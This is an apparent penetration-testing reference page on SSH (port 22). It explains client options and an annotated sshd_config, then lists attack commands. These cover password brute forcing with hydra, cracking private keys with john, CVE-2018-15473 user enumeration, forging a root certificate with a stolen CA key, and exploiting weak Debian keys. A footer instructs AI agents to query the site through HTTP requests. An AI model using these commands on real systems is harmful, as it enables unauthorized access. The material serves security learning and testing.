# SSH | 22

## 00. Basic

{% hint style="info" %}
SSH (Secure Shell) is a cryptographic protocol for secure remote access and data transfer over TCP port 22, using SSHv2 for security (**SSHv1 is insecure**); prefer key-based authentication over passwords, disable root login, configure on Linux via /etc/ssh/sshd\_config with sudo systemctl restart sshd, use OpenSSH or PuTTY on Windows, allow TCP port 22 in firewalls while restricting to trusted IPs, and check /var/log/auth.log on Linux for troubleshooting.
{% endhint %}

* SSH Login Options

```bash
## ------------------| Debugging and Troubleshooting
ssh -v h4rithd@$IP                                   ## Enable verbose output for debugging
ssh -vvv h4rithd@$IP                                 ## Enable maximum verbose output

## ------------------| Host Key Management
ssh -o UserKnownHostsFile=/dev/null h4rithd@$IP      ## Prevents ssh from attempting to save the host key
ssh -o StrictHostKeyChecking=no h4rithd@$IP          ## Instruct ssh to not prompt to accept the host key
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null h4rithd@$IP      ## Combine to bypass host key checking (insecure, for testing)

## ------------------| Escaping Restricted Shells
ssh -t bash h4rithd@$IP                              ## Escape rbash by forcing bash
ssh -t /bin/sh h4rithd@$IP                           ## Escape rbash using sh
ssh -t python -c 'import pty; pty.spawn("/bin/bash")' h4rithd@$IP      ## Escape rbash with Python PTY

## ------------------| Using sshpass for Automation
sshpass -f /path/to/keyfile ssh h4rithd@$IP          ## Use sshpass with key file
sshpass -p 'password' ssh h4rithd@$IP                ## Use sshpass with password (insecure)
sshpass -p 'password' ssh -o StrictHostKeyChecking=no h4rithd@$IP      ## Combine sshpass with no host key checking

## ------------------| Authentication Methods
ssh -o PubkeyAuthentication=no h4rithd@$IP           ## Disable public key authentication
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no h4rithd@$IP      ## Force password authentication
ssh -o GSSAPIAuthentication=no h4rithd@$IP           ## Disable GSSAPI authentication
ssh -i /path/to/id_rsa_custom h4rithd@$IP            ## Use specific private key file

## ------------------| Encryption and Compatibility
ssh -o MACs=hmac-sha2-256 h4rithd@$IP               ## Specify modern MAC algorithm
ssh -o MACs=hmac-sha2-512 h4rithd@$IP               ## Specify modern MAC algorithm
ssh -o MACs=hmac-md5 h4rithd@$IP                    ## Try legacy MAC for compatibility (deprecated, insecure)
ssh -o Ciphers=aes256-ctr h4rithd@$IP               ## Specify encryption cipher
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 h4rithd@$IP      ## Specify legacy key exchange algorithm
ssh -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP       ## Specify legacy host key algorithm
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP      ## Combine legacy key exchange and host key algorithms

## ------------------| Connection Optimization
ssh -2 h4rithd@$IP                                  ## Force SSHv2 protocol (SSHv1 is insecure)
ssh -C h4rithd@$IP                                  ## Enable compression for faster data transfer
ssh -p 2222 h4rithd@$IP                             ## Use custom port (e.g., 2222)
ssh -F /path/to/custom_ssh_config h4rithd@$IP       ## Use custom SSH config file
```

* Default Configurations

```bash
# ------------------| Potentially Dangerous SSH Settings
PermitRootLogin prohibit-password         ## Still allows root login via SSH key; consider setting to "no" for higher security
PasswordAuthentication yes                ## Enables brute-force attacks; disable and use key-based authentication instead
AllowAgentForwarding yes                  ## Can be abused if server is compromised to hijack SSH agent sessions
AllowTcpForwarding yes                    ## Can be used to bypass firewalls or pivot inside networks
X11Forwarding yes                         ## Can expose X11 display to attackers; may allow keylogging or remote control
ClientAliveInterval 0                     ## Disables keep-alive checks; idle sessions may remain open indefinitely
UseDNS no                                 ## Safe setting, but if changed to "yes", it may open risks of DNS spoofing
AuthorizedKeysFile .ssh/authorized_keys2  ## Deprecated/legacy; can cause confusion or bypass security reviews

## ------------------| Basic Settings
Include /etc/ssh/sshd_config.d/*.conf	  ## Includes additional configuration files from this directory
Port 22					  ## Used for SSH service (default port)
AddressFamily any			  ## SSH will accept both IPv4 and IPv6 connections
ListenAddress 0.0.0.0			  ## SSH listens on all IPv4 addresses
ListenAddress ::			  ## SSH listens on all IPv6 addresses
HostKey /etc/ssh/ssh_host_rsa_key	  ## RSA host key location
HostKey /etc/ssh/ssh_host_ecdsa_key	  ## ECDSA host key location
HostKey /etc/ssh/ssh_host_ed25519_key	  ## Ed25519 host key location
PidFile /run/sshd.pid			  ## PID file location for the SSH daemon
VersionAddendum none			  ## No custom SSH version string displayed
Banner none				  ## No login banner displayed

## ------------------| Credential Management
PermitRootLogin prohibit-password	  ## Root login allowed only with key-based authentication
PubkeyAuthentication yes		  ## Enables public key authentication
PasswordAuthentication yes		  ## Enables password authentication
PermitEmptyPasswords no			  ## Disallows login with empty passwords
AuthorizedPrincipalsFile none		  ## No authorized principals file used
AuthorizedKeysCommand none		  ## No custom command to retrieve authorized keys
AuthorizedKeysCommandUser nobody	  ## If used, command would run as user "nobody"
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2	## Locations of user's authorized keys

## ------------------| Authentication Settings
StrictModes yes				  ## Checks file permissions for security
MaxAuthTries 6				  ## Maximum authentication attempts per connection
MaxSessions 10				  ## Maximum number of sessions per network connection
LoginGraceTime 2m			  ## Allows 2 minutes for users to authenticate
KbdInteractiveAuthentication no		  ## Disables keyboard-interactive authentication
HostbasedAuthentication no		  ## Disables host-based authentication
IgnoreUserKnownHosts no			  ## SSH will use user's known_hosts file
IgnoreRhosts yes			  ## Ignores legacy rhosts files

## ------------------| Kerberos & GSSAPI
KerberosAuthentication no		  ## Disables Kerberos authentication
KerberosOrLocalPasswd yes		  ## Falls back to local password if Kerberos fails
KerberosTicketCleanup yes		  ## Cleans up Kerberos tickets after login
KerberosGetAFSToken no			  ## Does not get AFS token via Kerberos
GSSAPIAuthentication no			  ## Disables GSSAPI-based authentication
GSSAPICleanupCredentials yes		  ## Cleans up GSSAPI credentials after login
GSSAPIStrictAcceptorCheck yes		  ## Enables strict host checking in GSSAPI
GSSAPIKeyExchange no			  ## Disables GSSAPI for key exchange

## ------------------| PAM & Session Management
UsePAM yes				  ## Enables Pluggable Authentication Modules
PermitTTY yes				  ## Allows allocation of TTY for SSH sessions
PrintMotd no				  ## Does not print message of the day
PrintLastLog yes			  ## Displays last login information upon login

## ------------------| Logging & Auditing
SyslogFacility AUTH			  ## Logs go to the AUTH syslog facility
LogLevel INFO				  ## Log verbosity level set to INFO

## ------------------| Connection Settings
RekeyLimit default none			  ## No limit on SSH rekeying
TCPKeepAlive yes			  ## Sends keepalive packets to clients
ClientAliveInterval 0			  ## Disables client alive messages
ClientAliveCountMax 3			  ## Number of client alive messages before disconnection
MaxStartups 10:30:100			  ## Limits on simultaneous unauthenticated connections

## ------------------| Forwarding & Tunneling
AllowAgentForwarding yes		  ## Allows SSH agent forwarding
AllowTcpForwarding yes			  ## Allows TCP forwarding through SSH
GatewayPorts no				  ## Disallows remote hosts from connecting to forwarded ports
PermitTunnel no				  ## Disables tunneling via SSH

## ------------------| X11 Forwarding
X11Forwarding yes			  ## Enables X11 forwarding
X11DisplayOffset 10			  ## Sets display number offset for X11 forwarding
X11UseLocalhost yes			  ## X11 will bind to localhost only

## ------------------| Environment & Compression
PermitUserEnvironment no		  ## Disallows environment variable files in user's home
Compression delayed			  ## Enables compression after authentication
UseDNS no				  ## Disables DNS resolution of client hostname
AcceptEnv LANG LC_*			  ## Accepts only language-related environment variables

## ------------------| Subsystems
Subsystem sftp /usr/lib/openssh/sftp-server	## Defines the SFTP subsystem

## ------------------| Match Blocks
Match User anoncvs		          ## Applies the following settings only to user 'anoncvs'
	X11Forwarding no		  ## Disables X11 forwarding for 'anoncvs'
	AllowTcpForwarding no		  ## Disables TCP forwarding for 'anoncvs'
	PermitTTY no			  ## Disallows TTY for 'anoncvs'
	ForceCommand cvs server		  ## Forces the command 'cvs server' for 'anoncvs'
```

## 01. Enumeration & Exploitation&#x20;

### 01.1 Enumeration

```bash
sh-audit $IP
```

### 01.2 Exploitation

* Brute Force

```bash
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://$IP:22 -t 4
nxc ssh $IP -u users.txt -p passwords.txt
```

* Crack Private Keys

```bash
python3.8 /usr/share/john/ssh2john.py id_rsa > id_rsa.john
john id_rsa.john -w=/usr/share/wordlists/rockyou.txt
```

* User Enumeration (OpenSSH 7.7 | CVE-2018-15473)

```bash
## ------------------| Using MSF
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS <IP>
set USER_FILE userlist.txt
run

## ------------------| Using Python
git clone https://gitlab.com/epi052/cve-2018-15473.git && cd cve-2018-15473
pip install -r requirements.txt 
python3 ssh-username-enum.py -w userlist.txt $IP
```

* SSH Certificate-Based Authentication for Root Access

```bash
## ------------------| Background
### This method allows you to generate an SSH certificate that grants root access 
### using a trusted Certificate Authority (CA) key.

## ------------------| Prerequisites
### You already have a private key (ca_key) and its corresponding public key (ca_key.pub).
### The CA public key (ca_key.pub) is listed in the SSH server’s configuration (/etc/ssh/sshd_config.d/sshcerts.conf)
### The entry should look like this --> TrustedUserCAKeys /etc/ssh/ca_key.pub

## ------------------| Getting root access
ssh-keygen -t ed25519 -f root
ssh-keygen -s <private_key_from_victim> -z 223 -I 'root' -V -5m:forever -n root root.pub
#### -s <private_key_from_victim> → The CA private key used for signing.
#### -z 223 → (Doesn’t really matter) Serial number (223) for tracking issued certificates.
#### -I 'root' → Identity label (root).
#### -V -5m:forever → Sets the validity period:
######## -5m → Starts 5 minutes in the past (to avoid clock drift issues).
######## forever → The certificate never expires.
######## if you want expire it in 42 weeks --> -5m:+42w
#### -n root → Specifies that only root can use this key.
#### root.pub → The public key being signed.
ssh-keygen -L -f root-cert.pub
chmod 600 root
ssh -i root root@<IP>
```

* CVE-2008-0166 (`Debian-based systems | September 2006 <--> 2008 May 13th`)

```bash
https://www.exploit-db.com/exploits/5720
```

* Predictable PRNG Brute Force SSH

```bash
## ------------------| Info
## OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) 
## you need authorized_keys file on your machine.

## ------------------| Setup
## Add "PubkeyAcceptedKeyTypes +ssh-dss" to /etc/ssh/ssh_config file
git clone https://github.com/g0tmi1k/debian-ssh
wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2               
wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2
tar -xf *.bz2
## check anything match with authorized_keys file. 
## Copy the first 40 chars in the authorized_keys, then search it in the repo
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNA'
## After finding the pub key, The corresponding Private key which is also in the same directory (without pub).
ssh -i key -oKexAlgorithms=+diffie-hellman-group1-sha1 <USER>@$IP
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/tcp/22-ssh.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
